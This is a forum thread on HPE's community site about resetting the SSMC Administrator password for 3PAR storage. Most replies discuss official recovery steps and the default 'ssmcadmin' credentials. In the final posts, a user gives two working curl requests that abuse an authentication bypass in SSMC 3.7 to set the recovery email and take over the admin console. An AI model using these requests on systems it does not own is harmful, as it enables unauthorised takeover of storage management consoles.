topic Re: SSMC Admin password in HPE 3PAR StoreServ Storage

SSMC Admin password

3parnewbie — Mon, 20 Feb 2017 12:05:20 GMT

Does anyone know how to reset the password for the SSMC Administrator console. We don't have the log in details to log in so how can it be reset?

Re: SSMC Admin password

Sheldon Smith — Tue, 21 Feb 2017 06:09:09 GMT

As mentioned in the SSMC Administrator's Guide:
If you forget the Administrator credentials, clear the password by executing the script ClearAdminCredential.bat located in the SSMC\ssmcbase folder. Run the script from an administrator command prompt window.

Re: SSMC Admin password

PadillaVic — Fri, 08 Mar 2019 17:30:53 GMT

Thanks!

It was very useful

Re: SSMC Admin password

Suraj999 — Fri, 27 Sep 2019 07:57:20 GMT

is there any changes in SSMC 3.6. Administrator Password got chagned itself and we are unable to login into it,

there is no available guide for SSMC 3.6. Can somebody help, how can i reset my password if i do not have current ?

Re: SSMC Admin password

Bertram Stoeckler — Mon, 30 Sep 2019 07:45:10 GMT

The password-handling and login behaviour has changed in SSMC 3.6 and there is now a feature to reset the password.

Prior to SSMC 3.6, after you had installed the appliance and when you opened the web-interface the first time, a popup window did open and you were requested to first-time-set the SSMC-Administrator credentials (login/password), which was different from the TUI-console credentials.

Starting with SSMC 3.6, when you do a new SSMC-appliance installation, the SSMC-Administrator-console login is the same as the TUI-Console login.

TUI-Console-login is "ssmcadmin". With the password that you were reqested to set/change during the first TUI-console login.

Starting with SSMC 3.6, when logging in via the Web-GUI the first time, SSMC asks you to configure an email-address (SMTP settings) that is used as a recovery method. If this is configured, then you can use the "forgot password" link at the SSMC-login window, which triggers an email sent to the configured address.

Hope that helps. Fore information can be found in the SSMC 3.6 administration guide.

Here is a short quote: Page 47 of the SSMC 3.6 admin-guide:

Resetting password for Administrator Console
Prerequisites
• Configure SMTP to enable resetting the password at a later point in time. If the preferences are not configured, a message
appears requesting you to configure SMTP. Only an administrator has the privilege to configure SMTP.
• Provide the password recovery email for which the reset password must sent.
• Configure a password recovery email. If you do not configure recovery email, password cannot be reset.
Procedure
1. Check the Administrator Console check box in the login console to see the Forgot Password link.
2. If you click Forgot Password link and the preferences are not configured, a pop-up appears. The popup message displays:
Unable to send password reset email since SMTP is not configured.
IMPORTANT: The reset password functionality (SMTP) works only when you configure DNS in SSMC TUI.
3. If preferences are configured, then a temporary password is generated and sent to the registered email address

Re: SSMC Admin password

Rmitchell_1 — Tue, 03 Dec 2019 15:08:33 GMT

I just upgraded and now my previous "Administrator" password no longer works. Working on getting that changed but your upgrade process did mess it up. I was logged in prior since I had to do that to initiate the upgrade.

Re: SSMC Admin password

Hyper-Bob — Wed, 11 Dec 2019 22:38:59 GMT

So what do you do if you don't have smtp connectivity in place for secure environments?

I have completed the upgrade to 3.6, but am unable to login to the Admin Console to maintain certificates.

I am unable to add an smtp configuration, which would be useless anyway as SMTP out is not allowed from this DC.

Pleae advise.

Re: SSMC Admin password

Murugeshd — Sun, 12 Jan 2020 14:12:44 GMT

I have the SSMC Virtual Appliance installed in HyperV , how to reset the password from there. It's not allowing to login with any password.
I have upgraded the Verizon 3.5 to 3.6 and issue started

Re: SSMC Admin password

Dardan — Mon, 13 Jan 2020 07:21:52 GMT

From version 3.6 and onwards SSMC uses new general admin account called ssmcadmin. You should be using this account to make your virtual appliance and / or log in to your Administrator Console on SSMC GUI.

Re: SSMC Admin password

websterd13 — Thu, 27 Feb 2020 16:06:33 GMT

It must have changed the password as well, what is the default password for the user ssmcadmin

Re: SSMC Admin password

Bertram Stoeckler — Thu, 27 Feb 2020 18:52:00 GMT

Updating SSMC from 3.5 to 3.6.X does not change the ssmcadmin password.

The default password of the ssmcadmin account is "ssmcadmin".

However due to the enforced password policy, this password must be changed when you first-login to the appliance.

If you can´t login with the ssmcadmin account, then you will need to reinstall the appliance.

Re: SSMC Admin password

eduard vrieling_1 — Fri, 03 Apr 2020 07:40:14 GMT

ssmcadmin, even if I change the password in the config when deploying the ova file

Re: SSMC Admin password

NathanOldfield — Fri, 10 Apr 2020 19:37:44 GMT

I have just had the same problem. Upgraded from 3.5 to 3.6 and now the admin password does not work.

Re: SSMC Admin password

plasticwax — Tue, 10 Nov 2020 06:49:44 GMT

been looking for default password for ages. thank you so much.

Please HP work on your documentation its horribly organised, you cant search for anything.

Re: SSMC Admin password

SUBHAJIT KHANBARMAN_1 — Fri, 20 Dec 2024 08:25:36 GMT

@plasticwax

What is the SSMC version that you are using where you have password issue ?

As per SSMC 3.7 admin guide (page no 37, 39 and 40) talks about passwords and default password,

https://support.hpe.com/hpesc/public/docDisplay?docId=a00101449en_us&docLocale=en_US

IMPORTANT: Unified Login credentials for Administrative Access from SSMC 3.6 onwards (Page 48 of same doc)

From HPE SSMC 3.6 release onwards, the web administrator account is merged with the appliance administrator account. As a result, there is a single locally defined application administrator account for all ofSSMC.

If you are upgrading from a version prior to HPE SSMC 3.6 release, then the web administrator credentials, ifdefined already, expires and you have to use the ssmcadmin (same password that you use for appliance access) to log in to the web GUI as well.

This single local account (ssmcadmin) remains as the only emergency account for all of SSMC. The administrator retains access to the web administrator console session as long as that authenticated web sessionis active.

From HPE SSMC 3.6 release onwards, administrators can reset password using the Forgot Password link available on the web login page. The TUI menu option to clear admin credentials is unavailable

There are lots of useful information available related to ssmcadmin account from the above document.

Hope this helps!
Regards
Subhajit

I am an HPE employee

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[Moderator edit: Updated the link. You may also refer to https://support.hpe.com/]

Re: SSMC Admin password

MarcoMilone — Mon, 18 Jan 2021 11:32:37 GMT

Hi,i have same issue. I upgrade from 3.5 to 3.7 and now i cannot login in Administration console.

I tried ssmcadmin, Administrator ... Nothing.. I tried all combinations of users and password.

How can reset the password? it's Hyper-V appliance

Re: SSMC Admin password

MarcoMilone — Tue, 19 Jan 2021 08:07:24 GMT

Hi, I found the solution. Only for version 3.7.0.0.449 .

The only way is hack the ssmc . I'm not kidding, unfortunately.
Source : https://www.mindpointgroup.com/blog/hpe-3par-authentication-bypass-vulnerability/

In my case i sent 2 post with curl and in one minute i unlock the console.

curl -k --header "Content-Type: application/json" \
--request POST \
--data '{"defaultavailable":true, "isMenuItemChanged":false, "isdefault":false, "name":"globalprefs-adminconsole-preferences-smtpserver","value":"smtp.mydomanin.com"}' \
https://3par-ssmc.mydomain.local:8443/foundation/REST/preferencesservice/ssmcadmin/preferences

curl -k --header "Content-Type: application/json" \
--request POST \
--data '{"defaultavailable":true, "isMenuItemChanged":false, "isdefault":false, "name":"globalprefs-adminconsole-preferences-passwordrecoveryemail","value":"validemail@mydomain.com"}' \
https://3par-ssmc.mydomain.local:8443/foundation/REST/preferencesservice/ssmcadmin/preferences

The question I ask myself is: Is the bug intentional? If so it is very serious. It is equally bad that after the update you cannot connect anymore!